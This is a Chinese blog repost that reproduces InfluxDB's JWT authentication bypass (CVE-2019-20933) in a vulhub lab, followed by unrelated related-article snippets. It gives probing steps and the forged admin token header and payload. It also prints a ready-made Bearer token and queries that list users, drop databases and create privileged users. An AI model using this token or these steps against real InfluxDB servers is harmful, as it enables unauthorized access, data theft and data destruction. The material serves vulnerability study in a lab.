数据库安全:InfluxDB 未授权访问-Jwt验证不当 漏洞.

2023-11-12 00:45

本文主要是介绍数据库安全:InfluxDB 未授权访问-Jwt验证不当 漏洞.,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

数据库安全:InfluxDB 未授权访问-Jwt验证不当 漏洞.

InfluxDB 是一个开源分布式时序,时间和指标数据库。其数据库是使用 Jwt 作为鉴权方式,在用户开启认证时,如果在设置参数 shared-secret 的情况下,Jwt 认证密钥为空字符串,这样攻击者就能伪造任意用户身份在 InfluxDB 数据库中执行SQL语句,因此会导致敏感信息泄露和执行威胁到数据库的数据命令.


目录:

数据库安全:InfluxDB 未授权访问-Jwt验证不当 漏洞.

InfluxDB 未授权访问:

开启 vulhub 靶场环境:

Jwt验证不当 漏洞:


InfluxDB 未授权访问:

开启 vulhub 靶场环境:

第一步:切换到 vulhub 目录下

cd vulhub


第二步:切换到 influxdb 目录下.

cd influxdb


第三步:切换到 CVE-2019-20933 漏洞目录下.

cd CVE-2019-20933 


第四步:开启 漏洞 服务.

docker-compose up -d 


    

Jwt验证不当 漏洞:

第一步:访问 http://IP地址:8086/debug/vars 查看能不能访问到系统的服务信息,如果能 则可能存在漏洞.(8086 是默认端口.)

http://192.168.0.105:8086/debug/vars


第二步:访问 http://IP地址:8086/query 查看查询功能是否会有提示需要登录.

http://192.168.0.105:8086/query


第三步:添加 POST 请求值.

db=sample&q=show users            // 意思是:显示 数据库中的用户.


第四步:访问 URL ,然后用 Burp 进行抓包,再发给 Repeater(重发器)


第五步:通过 JSON Web Tokens - jwt.io 生成所需要的 Token:

{"alg": "HS256","typ": "JWT"
}{"username": "admin","exp": 3751718877
}

( username需要已存在的用户才行,所以使用 admin 用户就好.)

exp是时间戳 ,这个时间戳一定要是未来的时间才行,这里我生成了一个 2088 年的时间戳(所以我下面的Encoded值可以直接用):3751718877)

在线时间戳,转换器:https://www.beijing-time.org/shijianchuo/


第六步:在 Burp 抓包的数据包中添加 Authorization: Bearer (后面就是 Encoded 生成的值)【这个可以直接用,因为时间戳的结束是2088年】

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjozNzUxNzE4ODc3fQ.0w_-RJXNLryUpIZnglQGRDewVNty-_d9xuS-MdO4YDQ


第七步:如果要进行其他操作则修改 q= 你想要查看的信息就行.

show users			# 显示用户show databases		# 显示数据库create database xxx	# 创建xxx数据库drop database xxx	# 删除xxx数据库create user influx with password '***' with all privileges;	# 创建用户

    

   

    

参考文章:InfluxDB 未授权访问 漏洞复现_debug/vars-CSDN博客

这篇关于数据库安全:InfluxDB 未授权访问-Jwt验证不当 漏洞.的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/393945

相关文章

MySQL 用户创建与授权最佳实践

《MySQL用户创建与授权最佳实践》在MySQL中,用户管理和权限控制是数据库安全的重要组成部分,下面详细介绍如何在MySQL中创建用户并授予适当的权限,感兴趣的朋友跟随小编一起看看吧... 目录mysql 用户创建与授权详解一、MySQL用户管理基础1. 用户账户组成2. 查看现有用户二、创建用户1. 基

如何搭建并配置HTTPD文件服务及访问权限控制

《如何搭建并配置HTTPD文件服务及访问权限控制》:本文主要介绍如何搭建并配置HTTPD文件服务及访问权限控制的问题,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、安装HTTPD服务二、HTTPD服务目录结构三、配置修改四、服务启动五、基于用户访问权限控制六、

Python中文件读取操作漏洞深度解析与防护指南

《Python中文件读取操作漏洞深度解析与防护指南》在Web应用开发中,文件操作是最基础也最危险的功能之一,这篇文章将全面剖析Python环境中常见的文件读取漏洞类型,成因及防护方案,感兴趣的小伙伴可... 目录引言一、静态资源处理中的路径穿越漏洞1.1 典型漏洞场景1.2 os.path.join()的陷

Go语言中使用JWT进行身份验证的几种方式

《Go语言中使用JWT进行身份验证的几种方式》本文主要介绍了Go语言中使用JWT进行身份验证的几种方式,包括dgrijalva/jwt-go、golang-jwt/jwt、lestrrat-go/jw... 目录简介1. github.com/dgrijalva/jwt-go安装:使用示例:解释:2. gi

Python FastAPI实现JWT校验的完整指南

《PythonFastAPI实现JWT校验的完整指南》在现代Web开发中,构建安全的API接口是开发者必须面对的核心挑战之一,本文将深入探讨如何基于FastAPI实现JWT(JSONWebToken... 目录一、JWT认证的核心原理二、项目初始化与环境配置三、安全密码处理机制四、JWT令牌的生成与验证五、

NGINX 配置内网访问的实现步骤

《NGINX配置内网访问的实现步骤》本文主要介绍了NGINX配置内网访问的实现步骤,Nginx的geo模块限制域名访问权限,仅允许内网/办公室IP访问,具有一定的参考价值,感兴趣的可以了解一下... 目录需求1. geo 模块配置2. 访问控制判断3. 错误页面配置4. 一个完整的配置参考文档需求我们有一

C#实现访问远程硬盘的图文教程

《C#实现访问远程硬盘的图文教程》在现实场景中,我们经常用到远程桌面功能,而在某些场景下,我们需要使用类似的远程硬盘功能,这样能非常方便地操作对方电脑磁盘的目录、以及传送文件,这次我们将给出一个完整的... 目录引言一. 远程硬盘功能展示二. 远程硬盘代码实现1. 底层业务通信实现2. UI 实现三. De

python通过curl实现访问deepseek的API

《python通过curl实现访问deepseek的API》这篇文章主要为大家详细介绍了python如何通过curl实现访问deepseek的API,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编... API申请和充值下面是deepeek的API网站https://platform.deepsee

Nginx 访问 /root/下 403 Forbidden问题解决

《Nginx访问/root/下403Forbidden问题解决》在使用Nginx作为Web服务器时,可能会遇到403Forbidden错误,文中通过示例代码介绍的非常详细,对大家的学习或者工作... 目录解决 Nginx 访问 /root/test/1.html 403 Forbidden 问题问题复现Ng

Mysql用户授权(GRANT)语法及示例解读

《Mysql用户授权(GRANT)语法及示例解读》:本文主要介绍Mysql用户授权(GRANT)语法及示例,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录mysql用户授权(GRANT)语法授予用户权限语法GRANT语句中的<权限类型>的使用WITH GRANT